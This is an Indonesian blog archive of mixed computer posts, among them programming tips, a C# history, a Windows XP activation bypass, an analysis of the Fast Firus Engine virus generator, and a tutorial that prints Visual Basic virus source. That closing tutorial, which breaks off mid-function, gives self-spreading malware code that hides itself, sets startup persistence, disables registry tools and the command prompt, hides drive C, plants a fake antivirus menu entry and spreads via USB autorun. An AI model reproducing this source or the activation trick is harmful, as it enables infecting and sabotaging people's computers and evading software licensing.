Jan 28, 2009

Tips Cepat Menguasai Bahasa Pemrograman

Tahukah anda bahwa mempelajari bahasa pemrograman itu tidak sesulit yang dibayangkan? Ya, pemrograman merupakan sesuatu yang sangat menantang untuk dipelajari. Ada metode cepat menguasai bahasa pemrograman, yaitu :

1.Pertama kali dan yang terpenting adalah Anda harus KONSENTRASI. Loh, kok konsentrasi? ya, anda harus konsentrasi pada tujuan anda dalam mempelajari program. Apa sih program? Untuk apa sih saya membuat program? Itu adalah pertanyaan yang harus anda cari jawabannya. Tapi ada 2 buah hal pokok jawaban dari pertanyaan ini. Anda harus memberikan jawaban dengan mencari literatur di internet sebagai bahan bakar dan anda harus meresapi arti dari program kedalam otak anda. Itu saja. Itulah langkah terbaik sebelum anda memegang buku, menarik keyboard dan mulai mengetikkan kode program kedalam komputer anda.

2.Sebenarnya, dalam bahasa apapun yang ingin anda kuasai, percayalah, pasti ada hal terpenting dari hal penting dalam bahasa itu. Hal terpenting itulah yang harus anda garis bawahi, itulah yang harus anda pelajari. Dan setelah anda mengetahui hal terpenting itu maka carilah buku yang menjelaskan tuntas tentang itu.

3.Apa sih “hal terpenting” dalam bahasa pemrograman itu? Jawabnya: anda harus mempelajari Struktur Bahasa, Sintak Dasar (cara pengetikan bahasa program), Tipe Data, dan Cara Membuat Prosedur / Fungsi. Sedikit bukan?

4.“Loh bagaimana dengan yang hal penting lainnya?”, jawabnya: Anda harus tahu bahwa pemrograman juga hampir sama dengan kebutuhan manusia, ada kebutuhan Primer, Sekunder dan Tersier. Nah, pada point 3 tadi adalah kebutuhan primernya. Jadi, kalau anda ingin lebih kaya pengetahuan akan bahasa pemrograman tersebut, silakan anda memperluasnya dengan kebutuhan Sekunder dan Tersier melalui literatur, tutorial dan buku yang banyak beredar.

5.Dan terakhir adalah, PRAKTEK. Karena tidak mungkin semua yang ada dimuka bumi ini muncul dengan sendirinya, pasti ada yang membuatnya begitu juga program. Ada pepatah “tak ada kerja tak ada produk“.

6.Produktif dan Kreatif lah dalam segala pekerjaan anda…

7.Salam Programmer…

Source : dedygunanto.wordpress.com



Web Blog menggunakan Dreamweaver MX

Author: Imam BK

Cara paling gampang untuk mempunyai sebuah web blog pribadi tanpa harus bersusah payah belajar PHP, ASP, Javascript, atau bahasa pemrograman web lainnya adalah memanfaatkan situs internet yang menyediakan layanan web blog secara instant. Cukup dengan mengetikan alamat http://www.Blogger.com, atau http://www.Xanga.com, atau http://www.LiveJournal.com , atau yang lainnya, registrasi sebentar, lalu jadilah kita punya sebuah web blog pribadi. Cepat, mudah dan tentu saja gratis !!!.

Tapi bila anda menginginkan sebuah web blog yang nggak instant banget ( yang menurut temen aku katanya kalo bikin sendiri jadinya nggak keliatan “bego banget” ), maka Macromedia Dreamweaver cukup efektif untuk mewujudkan keinginan anda tersebut. Asal anda tahu dasar – dasar penulisan HTML ( atau minimal pernah menggunakan Macromedia Dreamweaver ), itu sudah lebih dari cukup untuk membuat sebuah web blog yang agak sedikit “ berkelas ” tanpa harus menguasai benar akan bahasa pemrograman PHP.

Tulisan ini berisi tutorial pembuatan web blog dengan Macromedia Dreamweaver, pada server yang mendukung PHP dan MySQL. ( Tentunya untuk pemula seperti saya dong! )


Source : www.ilmukomputer.com
Download Tulisan Lengkap: imamkustanto-webblog.zip


Sejarah C#

C# (dibaca: C sharp) merupakan sebuah bahasa pemrograman yang berorientasi objek yang dikembangkan oleh Microsoft sebagai bagian dari inisiatif kerangka .NET Framework. Bahasa pemrograman ini dibuat berbasiskan bahasa C++ yang telah dipengaruhi oleh aspek-aspek ataupun fitur bahasa yang terdapat pada bahasa-bahasa pemrograman lainnya seperti Java, Delphi, Visual Basic, dan lain-lain) dengan beberapa penyederhanaan. Menurut standar ECMA-334 C# Language Specification, nama C# terdiri atas sebuah huruf Latin C (U+0043) yang diikuti oleh tanda pagar yang menandakan angka # (U+0023). Tanda pagar # yang digunakan memang bukan tanda kres dalam seni musik (U+266F), dan tanda pagar # (U+0023) tersebut digunakan karena karakter kres dalam seni musik tidak terdapat di dalam keyboard standar.

Sejarah

Pada akhir dekade 1990-an, Microsoft membuat program Microsoft Visual J++ sebagai sebuah langkah percobaan untuk menggunakan Java di dalam sistem operasi Windows untuk meningkatkan antarmuka dari Microsoft Component Object Model (COM).
Akan tetapi, akibat masalah dengan pemegang hak cipta bahasa pemrograman Java, Sun Microsystems, Microsoft pun menghentikan pengembangan J++, dan beralih untuk membuat pengganti J++, kompilernya dan mesin virtualnya sendiri dengan menggunakan sebuah bahasa pemrograman yang bersifat general-purpose. Untuk menangani proyek ini, Microsoft merekrut Anders Helsberg, yang merupakan mantan karyawan Borland yang membuat bahasa Turbo Pascal, dan Borland Delphi, yang juga mendesain Windows Foundation Classes (WFC) yang digunakan di dalam J++. Sebagai hasil dari usaha tersebut, C# pun pertama kali diperkenalkan pada bulan Juli 2000 sebagai sebuah bahasa pemrograman modern berorientasi objek yang menjadi sebuah bahasa pemrograman utama di dalam pengembangan di dalam platform Microsoft .NET Framework.

Pengalaman Helsberg sebelumnya dalam pendesain bahasa pemrograman seperti Visual J++, Delphi, Turbo Pascal) dengan mudah dilihat dalam sintaksis bahasa C#, begitu pula halnya pada inti Common Language Runtime (CLR). Dari kutipan atas interview dan makalah-makalah teknisnya ia menyebutkan kelemahan-kelemahan yang terdapat pada bahasa pemrograman yang umum digunakan saat ini, misalnya C++, Java, Delphi, ataupun Smalltalk. Kelemahan-kelemahan yang dikemukakannya itu yang menjadi basis CLR sebagai bentukan baru yang menutupi kelemahan-kelemahan tersebut, dan pada akhirnya mempengaruhi desain pada bahasa C# itu sendiri. Ada kritik yang menyatakan C# sebagai bahasa yang berbagi akar dari bahasa-bahasa pemrograman lain. [1] Fitur-fitur yang diambilnya dari bahasa C++ dan Java adalah desain berorientasi objek, seperti garbage collection, reflection, akar kelas (root class), dan juga penyederhanaan terhadap pewarisan jamak (multiple inheritance). Fitur-fitur tersebut di dalam C# kini telah diaplikasikan terhadap iterasi, properti, kejadian (event), metadata, dan konversi antara tipe-tipe sederhana dan juga objek.

C# didisain untuk memenuhi kebutuhan akan sintaksis C++ yang lebih ringkas dan Rapid Application Development yang 'tanpa batas' (dibandingkan dengan RAD yang 'terbatas' seperti yang terdapat pada Delphi dan Visual Basic).

Agar mampu mempromosikan penggunaan besar-besaran dari bahasa C#, Microsoft, dengan dukungan dari Intel Corporation dan Hewlett-Packard, mencoba mengajukan standardisasi terhadap bahasa C#. Akhirnya, pada bulan Desember 2001, standar pertama pun diterima oleh European Computer Manufacturer Association (ECMA), dengan nomor standar ECMA-334. Pada Desember 2002, standar kedua pun diadopsi oleh ECMA, dan tiga bulan kemudian diterima oleh International Organizaion for Standardization (ISO), dengan nomor standar ISO/IEC 23270:2006



Jan 13, 2009

Merubah Tampilan Login Windows Xp

Info : http://www.mail-archive.com
Sumber : hendrik kesuma

Bosen juga melihat tampilan login windows XP, Supaya enggak bosen ternyata
ada loh triknya untuk merubah tampilan. Kita bisa menggunakan program
LogonStudio bisa di download di www.WinCustomize.com atau bisa juga dengan
menggunakan software Reshack bisa di download dan di cari di google.com.
Menggunakan program LogonStudio cukup mudah dengan mengikuti petunjuknya maka
LOGON win XP bisa di rubah-rubah menurut selera.

Disini saya akan mencoba menggunakan program reshack. Sebuah program yang
berfungsi mengurai dan memodifikasi file yang berekstensi exe, *.dll, *.cpl,
*.ocx. Langkah-langkahnya
Copy file logonui.exe yang berada di /windows/ sistem32/, backup dan
ditaruh di folder yang berbeda misalnya buat folder "Backup" di C:/my document
/ backup
Jalankan Resource hacker, klik file kemudian klik open, masukan file backup
logonui.exe yang berada di folder backup.
akan muncul 4 folder yaitu :
a. UIFILE ( berisikan Script, Saya menyarankan agar tidak merubah script.
Kecuali anda sudah familiar dengan script ini)
b. Bitmap ( gambar bitmap, dan icon-icon yang digunakan di logon windows xp)
c. String Table (berisikan string table)
d. Version Info (berisikan info file logonui)
next.. klik Folder Bitmap, kemudian klik folder 100, kemudian klik 1033. Akan
mucul di sebelah kanan, gambar background login windows xp. Nah ini bisa di
ganti denagn gambar yang sebelumnya kamu buat dengan cara : klik kanan 1033
kemudian pilih replace resource browse ke file bitmap yang telah anda buat ,
kemudian kilk replace. Dengan demikian background tampilan login windows anda
sudah di ganti.
klik file kemudian save.
Langkah terakhir replace file logonui.exe yang sudah di rubah ke
C:/windows/system32/
Selamat mencoba (Warning!!!! Saya tidak bertanggung jawab apabila terjadi
kerusakan di system windows Anda….. Backup file Logonui.exe yang aslinya jika
terjadi apa2 bisa langsung di replace!!!)


Membuat Ekstensi File Application Baru

Virus-virus lokal/asing makin hari makin mengganas. sampai-sampai, seluruh file aplikasi yang bersifat standalone juga menjadi incaran virus-virus lokal/asing. Seperti *.exe, *.scr, *.vbs, dan lainya. Beberapa virus lokal mengalihkan beberapa file executable ke induk virus tersebut/Notepad.exe. Jadi ketika membuka file, misal : regedit/msconfig, maka yang terbuka adalah Notepad dengan bahasa-bahasa mesinnya (yang ternyata merupakan file regedit.exe/msconfig.exe yang dibuka menggunakan Notepad.exe). Atau beberapa virus lokal yang mengalihkan beberapa ekstensi tersebut ke induk virus.

Hal ini benar-benar terasa apabila kita menggunakan Anti-virus yang menggunakan ekstensi *.exe. Ketika virus tersebut menyebar dan mengotak-atik registry serta membuat string untuk mengalihkan file executable ke induk virus, maka ketika kita membuka anti-virus tersebut, secara tidak langsung memanggil virus tersebut.

Tapi kita bisa mensiasatinya dengan membuat ekstensi baru yang kira-kira hampir tidak mungkin diserang oleh virus. Karena secara garis besar virus berekstensi *.exe, *.scr, *.vbs, dll yang sudah sangat familiar dengan kita.

Caranya :


1. Buka Notepad, dan masukkan data berikut :

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.dewaphobia]
@="exefile"
"Content Type"="application/x-msdownload"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.dewaphobia\PersistentHandler]
@="{098f2470-bae0-11cd-b579-08002b30bfeb}"


lalu save as dengan tipe all files, dengan nama file "dewaphobia.reg" (tanpa tanda petik).

2. Buka file "dewaphobia.reg" dengan cara klik kanan, Merge, Yes.
3. Restart komputer.
lalu save as dengan tipe all files, dengan nama file "dewaphobia.reg" (tanpa tanda petik).

3. Buka file ".dewaphobia.reg" dan "dewaphobia.reg" dengan cara klik kanan, Merge, Yes.
4. Restart komputer.

Catatan: kata dewaphobia pada value dan string bisa Anda ganti sesuai dengan keinginan.

Untuk membuktikan, coba rename Antivirus Lokal, misal : "PCMAV-CLN.exe" menjadi "PCMAV-CLN.dewaphobia", dan jalankan file "PCMAV-CLN.dewaphobia" tersebut tanpa tanda petik).

Selamat mencoba.


Aktifasi windows trial version tanpa koneksi internet

Sumber dan Info Lengkap :Domoagre’s Weblog

Windows trial version
Selama ini sering kita mendapat windows xp trial version atau biasa minta aktifasi dan selama 30 hari bila tidak ada aktifasi windows tidak dapat di akses lagi. Untuk mengaktifkan windows, komputer harus terhubung dengan internet dan itu memerlukan biaya yang lumayan bila internet yang digunakan adalah modem ponsel, tapi jangan kawatis disini ada trik untuk mengatasinya membuat windows trial yang anda miliki bisa berjalan selamanya tanpa meminta aktifasi lagi.
Lakukan langkah-langkah berikut:

1. Jalankan windows explorer.
2. Buatlah folder baru di disc selain yang anda gunakan untuk windows, misal di disc D-”backup”.
3. Masuk ke disc dimana windows anda berada, misal C, lalu cari “windows” dan temukan “system32″.
4. Cari file yang bernama “wpa.dbl”.
5. Salin/copy “wpa.dbl” tersebut ke folder baru yang anda buat tadi, misal D-backup.

Instal ulang windows anda sampai selesai

6. Restrart komputer anda dan tekan F8 sesaat sebelum komputer masuk ke system operasi windows.
7. Lalu pilih “safe mode”.
8. Masuklah ke folder yang baru anda buat tadi “backup”, lalu salin kembali data “wpa.dbl” ke disc C-windows-system32. Bila ada pemberitahuan bahwa data sudah ada klik aja yes untuk mereplaces data.
9. Restart windows anda sekali lagi, dan windows anda tak lagi minta aktifasi, bisa digunakan selamanya.

Penting: Pastikan perangkat keras yang anda gunakan tidak ada yang berubah selama sebelum dan sesudah anda meng instal ulang windows. Jika anda menambah atau mengurangi perangkat keras komputer trik ini tidak akan berfungsi.


Membuat Virus dalam Sekejap

Membuat Virus dalam Sekejap

Info & info lengkap : PC Media

Masih ingat dengan virus Aksika? Virus “open source” yang satu itu memang memiliki banyak sekali varian. Tidak heran karena source code-nya memang disedia kan bebas di Internet, jadi siapapun dapat dengan mudah mengubah dan meng-compile source code-nya dan jadilah varian baru.


Berawal dari kemudahan itulah, banyak virus maker ataupun programer pemula mencoba–coba untuk membuat virus tanpa perlu repot. Paling yang dibutuhkan hanyalah pengetahuan seputar operating system dan programming.

Namun kemudahan itu belum seberapa, bila dibandingkan dengan menggunakan program Virus Generator. Dari namanya saja, kita sudah dapat mengira kegunaan dari program tersebut. Ya, Virus Generator merupakan program untuk dapat membuat virus secara mudah dan instan.
Bermula dari sampel sebuah virus yang lumayan banyak dikirimkan oleh pembaca kepada kami. PC Media Antivirus mengenalnya dengan nama Gen.FFE-Fajar, namun antivirus lain ada juga yang menyebutnya dengan nama Brontok.D. Dengan penyelidikan sederhana akhirnya diketahui bahwa virus tersebut dibuat menggunakan Virus Generator.

Fast Firus Engine (FFE) - DOWNLOAD
Pembuat Generator tersebut menamakan program buatannya itu dengan nama Fast Firus Engine. Seperti yang terlihat pada program ataupun situs pembuatnya, ia memberitahukan bahwa program ini hanya untuk tujuan pembelajaran dan tidak untuk tindakan merusak. Namun tetap saja, bila program ini sudah jatuh ke tangan yang salah, pasti akan digunakan untuk pengrusakan.

Virus Generator ini dibuat menggunakan bahasa Visual Basic dan di-compress menggunakan packer tELock. Dalam paketnya terdapat dua buah file, yakni Fast Firus Engine.exe dan data.ex_. Fast Firus Engine. exe merupakan program utama dalam pembuatan virusnya dan sementara file data.ex_ sebenarnya merupakan badan virus asli yang belum dimodifikasi.


Saat file Fast Firus Engine.exe dijalankan, maka pengguna akan dihadapkan pada sebuah interface. Anda hanya disuruh mengisikan nama virus, nama pembuat, dan pesan-pesannya. Lalu dengan menekan tombol Generate, maka jadilah virus Anda.

Cara kerja dari Generator tersebut sebenarnya sangat sederhana. Ia hanya menambahkan data yang Anda masukkan tadi ke bagian akhir file virus asli (data.ex_). Nantinya informasi tersebut digunakan oleh virus dalam proses infeksi.

Bagaimana Virus Menginfeksi?
Virus hasil ciptaan FFE memang terlihat sederhana. Sama seperti Generatornya, ia juga dibuat menggunakan bahasa Visual Basic yang di-compile dengan metode Native- Code. Lalu di compress menggunakan tELock agar ukurannya semakin kecil. Virus ini memiliki ukuran tubuh asli sebesar 55.296 bytes.

Saat virus kali pertama dieksekusi, ia akan membuat beberapa file induk di beberapa lokasi. Seperti di direktori \%WINDOWS%\, akan terdapat file dengan nama.exe, Win32 exe, activex.exe, dan %virusname% (nama virus sesuai yang diisikan oleh sang pembuatnya pada Generator). Di \%WINDOWS%\ %system32%\ akan terdapat file copy.pif, _default.pif, dan surif.bin. Selain itu, ia juga mengubah atau membuat file Oeminfo.ini yang merupakan bagian dari System Properties. Jadi apabila komputer Anda terinfeksi oleh virus hasil generate dari FFE, maka pada System Properties akan terdapat tulisan “Generated by Fast Firus Engine”.

Di direktori \%WINDOWS%\%System%\ akan terdapat beberapa file induk lagi yang menggunakan nama yang sama seperti file system milik Windows, seperti csrss.exe, winlogon.exe, lsass.exe, smss.exe, svchost. exe, dan winlogon.exe.

Dan tak lupa, pada root drive pun akan terdapat file dengan nama “baca euy.txt” yang berisikan pesan–pesan dari si pembuat virus. Jadi pada saat membuat virus dengan menggunakan Generator tersebut, maka pembuatnya akan disuguhkan beberapa kotak input, seperti Author of the virus, Name of the virus, dan Messages. Nah, isi dari kotak messages ini yang nantinya ditampilkan pada file “baca euy.txt” tersebut.

Setelah virus berhasil meng-copy-kan file induknya ke dalam sistem tersebut, ia akan menjalankan file induk tadi, sehingga pada memory akan terdapat beberapa process virus, seperti csrss.exe, winlogon.exe, lsass. exe, smss.exe, svchost.exe, dan winlogon.exe. Nama process yang mirip dengan process/services milik Windows tersebut mungkin sengaja untuk mengecoh user. Untuk membedakannya, Anda dapat melihat path atau lokasi process tersebut dijalankan. Process virus ini biasanya berjalan di direktori System sementara process/services milik Windows yang running biasanya berasal dari direktori System32.

Mengubah Registry
Virus ini menambahkan beberapa item startup pada registry agar pada saat memulai Windows ia dapat running secara otomatis atau untuk mengubah setting-an Windows agar sesuai keinginannya. Informasi mengenai registry yang diubahnya tidak akan dapat dengan mudah kita lihat karena dalam kondisi terenkripsi.

Yang ia ubah adalah seperti nilai dari item Userinit, yakni dengan menambahkan parameter ke file induk. Pada key HKEY_CURRENT_ USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load juga akan diubah itemnya agar mengarah ke file induknya dengan nama Activex.exe. Pada HKEY_CURRENT_USER \Software\Microsoft\ Windows\CurrentVersion\Run\ akan terdapat item baru dengan nama present. Key HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run\ akan terdapat item baru juga dengan nama Default dan %username%, username di sini merupakan nama user yang sedang aktif saat itu.

Virus hasil generate dari FFE juga mengubah shell extension untuk file .exe, yakni dengan mengubah type information dari Application menjadi File Folder. Setting-an folder Options juga diubah agar tidak menampilkan extension dan setiap fi le dengan attribut hidden. Dan agar dapat aktif pada safe-mode, ia pun mengubah nilai dari item SafeBoot.

Dengan menggunakan bantuan registry Image File Execution Options, virus ini juga menambahkan item baru pada section tersebut dengan nama cmd.exe, msconfi g.exe, regedit.exe, dan taskmgr.exe. Maksudnya adalah agar setiap user yang mengakses program dengan nama file seperti itu, maka akan di-bypass oleh Windows dan dialihkan ke file induk si virus.

Bagaimana Virus Menyebar?
Virus ini dapat menyebar melalui media penyimpan data seperti flash disk. Saat Anda mencolokkan flash disk pada komputer yang terinfeksi, maka pada flash disk tersebut akan terdapat beberapa file baru, seperti explorer.exe, %virusname%.exe, dan msvbvm60.dll. Juga beberapa file pendukung seperti desktop.ini, autorun.inf agar ia dapat running otomatis pada saat mengakses flash disk tersebut.

File virus lainnya pun disimpan pada direktori baru di flash disk tersebut dengan nama Recycled yang berisikan file Firus.pif dan Folder.htt. Kesemua file virus tersebut dalam kondisi hidden sehingga tidak terlihat.

Virus Beraksi
Untuk dapat bertahan hidup, virus ini pun akan mencoba untuk memblok setiap program yang tidak ia inginkan seperti tools atau program antivirus termasuk PCMAV. Sama seperti halnya data registry yang diubah, data mengenai program apa saja yang diblok olehnya juga terdapat dalam tubuhnya dalam kondisi terenkripsi.

Jadi, saat virus sudah stay di memory, ia akan memonitor setiap program yang diakses oleh user, yakni dengan membaca nama file dan juga caption Window. Beberapa nama file antivirus yang dicoba untuk dibloknya adalah nav.exe, avgcc.exe, njeeves.exe, ccapps.exe, ccapp.exe, kav.exe, nvcoas.exe, avp32.exe, dan masih banyak lagi yang lainnya. Termasuk beberapa program setup atau installer juga tidak dapat dijalankan pada komputer terinfeksi.

Source :
Arief Prabowo
dewaphobia.blogspot.com



Jan 4, 2009

Memasang kotak komentar di bawah posting

Selama ini para pengguna blogspot sering dipusingkan dengan masalah pembuatan kolom komentar. Tidak seperti pada wordpress.com yang kolom komentarnya sudah teritegrasi secara otomatis, blogspot justru lebih sulit karena untuk membuatnya harus terlebih dahulu mengutak-atik kode HTML-nya. Tapi itu dulu, saat ini blogger sudah menyediakan kotak komentar yang langsung bisa ditampilkan dibawah postingan.


Saat ini fitur ini belum resmi diliris alias masih dalam tahap uji coba. Tapi kita tetap dapat langsung mencobanya, ikuti langkah dibawah ini:

1. Silahkan Login ke Blogger dengan ID blogger anda

2. Klik Pengaturan

3. Lalu klik Komentar

4. Pada kolom Penempatan Formulir Komentar, pilih atau beri tanda pada tulisan Disemat di bawah entri.

5. Klik Simpan Pengaturan

6. Selesai

CATATAN:
Fitur ini direkomendasikan untuk blog yang kolom komentarnya belum pernah dimodifikasi. Apabila kotak komentar anda sudah dimodifikasi, anda harus terlebih dahulu mengubahnya seperti semula karena fitur ini terkadang tidak berhasil ditampilkan pada kolom komentar yang sudah dimodifikasi.


Membuat Virus Sederhana

Tujuan pembuatan artikel ini hanya sekedar untuk menambah wawasan IT saja. Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?
Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.

Masukan semua code di bawah ini pada form
==========================================
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'pencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 'sendmessage
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk
Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8

Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk

Private Sub Form_Load()
On Error Resume Next
'acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) 'silahkan masukan angka sesuka anda
'menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False 'virus tidak terlihat di task manager
InfeksiRegistry
End Sub

Sub BuatWord()
On Error Resume Next
Set obj = CreateObject("word.application")
Set doc = CreateObject("word.application")
Set doc = obj.Documents.Add
doc.Content = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"
End Sub

Sub BuatXls()
On Error Resume Next
Set obj = CreateObject("excel.application")
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"
End Sub

Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" & " """ & FolderMyDocuments & "\services.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell", FolderFavorites & "\SalamKenal.exe" 'virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderTemplates & "\smss.exe" 'smss.exe berjalan pada saat startup
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderSendTo & "\System.exe" 'System.exe berjalan pada saat startup
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'search pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'Ssearch pd star menu hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\Control Panel\Colors\WindowText", "255 0 0", "REG_SZ" 'DEFAULT TEKS MENJADI MERAH
RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\", FolderFavorites & "\SalamKenal.exe" 'Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun", 1, "REG_DWORD" 'Autorun pada CD atau USB
End Sub

Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & "\Winlogon.exe") <> "Winlogon.exe" Then 'mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & "\Winlogon.exe", FlashDisk & "\Winlogon.exe"
SetAttr FlashDisk & "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub

Sub BuatFileAutorunInf()
'membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & "\Autorun.Inf" For Output As 1
Print #1, "[AutoRun]"
Print #1, "Icon=Winlogon.exe" 'Agar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, "Open=Winlogon.exe"
Print #1, "ShellExecute=Winlogon.exe"
Print #1, "Shell\Open\Command=Winlogon.exe"
Print #1, "Shell=Open"
Close #1
SetAttr FlashDisk & "\Autorun.Inf", vbHidden + vbSystem + vbReadOnly
End Sub

Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject("WScript.Shell")
FolderStartUp = RegRun.specialfolders("StartUp")
FolderMyDocuments = RegRun.specialfolders("MyDocuments")
FolderTemplates = RegRun.specialfolders("Templates")
FolderNetHood = RegRun.specialfolders("NetHood")
FolderPrintHood = RegRun.specialfolders("PrintHood")
FolderFavorites = RegRun.specialfolders("Favorites")
FolderSendTo = RegRun.specialfolders("SendTo")
FolderPrograms = RegRun.specialfolders("Programs")
On Error Resume Next
'membuat virus dengan nama winlogon.exe
